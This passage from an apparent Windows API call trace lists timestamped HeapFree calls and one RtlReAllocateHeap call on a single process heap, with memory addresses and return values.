lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0081.544] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0081.545] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.545] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.546] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.547] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.547] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.547] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0081.547] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0081.547] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0081.547] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.547] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0081.549] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0081.549] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0081.549] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0081.551] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0081.551] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0081.551] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0081.551] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0081.558] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0081.560] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0081.560] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0081.560] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0081.561] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0081.561] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0081.562] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0081.562] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0081.563] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0081.563] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0082.114] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0082.114] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0082.114] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0082.114] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0082.114] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0082.115] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0082.115] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0082.118] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0082.118] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0082.118] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0082.119] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0082.119] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0082.122] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0082.122] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0082.124] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0082.124] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0082.124] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0082.126] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.126] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.126] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.127] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.127] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.127] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.127] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.127] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.128] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.128] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.128] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.128] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.128] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.129] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.129] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.129] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.129] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.130] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.130] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.130] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.131] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.131] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.131] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.132] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.132] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.132] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.132] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.132] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.133] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.133] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.133] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.133] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.133] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.134] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.134] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.134] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.134] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.135] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.135] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.135] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.135] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.136] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.136] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.136] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.136] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.136] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.137] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.137] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.137] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.137] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.138] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.138] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.138] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.138] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.138] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.139] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.139] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.139] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.139] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.140] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.140] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.140] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.140] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4064020, Size=0x100000) returned 0x4298020 [0082.748] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0082.749] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0082.749] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0082.749] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0082.750] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0082.750] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0082.750] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0082.750] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0082.750] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0082.752] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0082.752] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0082.753] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0082.754] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0082.755] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0082.757] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0082.757] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0082.758] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0082.758] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0082.758] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0082.758] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0082.759] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0082.760] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0082.760] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0082.762] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0082.763] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0082.764] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0082.764] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0082.764] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0082.764] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0082.764] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0082.764] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0083.112] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0083.112] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0083.112] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0083.113] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a48 | out: hHeap=0x490000) returned 1 [0083.113] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0083.113] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0083.113] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0083.113] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a48 | out: hHeap=0x490000) returned 1 [0083.114] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0083.114] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a48 | out: hHeap=0x490000) returned 1 [0083.114] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a48 | out: hHeap=0x490000) returned 1 [0083.114] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0083.127] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0083.135] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0083.137] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0083.159] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0083.690] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0083.690] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0083.691] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a48 | out: hHeap=0x490000) returned 1 [0083.691] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0083.691] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0083.691] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0083.691] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0083.691] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0083.694] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0083.694] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0083.695] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0083.695] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0083.695] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0083.695] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0083.697] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0083.698] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0083.700] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0083.701] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0083.702] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0083.713] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0083.713] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0083.715] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0083.717] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0083.717] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0083.717] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0083.719] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0083.719] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0083.719] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0083.719] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0083.719] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0084.580] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0084.581] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0084.581] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0084.587] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0084.587] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0084.588] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0084.588] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0084.588] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0084.590] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0084.592] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0084.592] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0084.592] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0084.593] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0084.593] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0084.595] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0084.595] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0084.595] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0085.344] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.344] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.344] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0085.346] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.350] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.352] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.353] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0085.353] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.353] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.355] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.356] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0085.356] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.359] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0085.360] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0085.360] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0085.360] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0085.361] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0085.361] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0085.361] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.361] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0085.362] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.368] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0085.368] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0085.368] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0085.369] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0085.369] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0085.370] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0085.370] HeapFree (in: 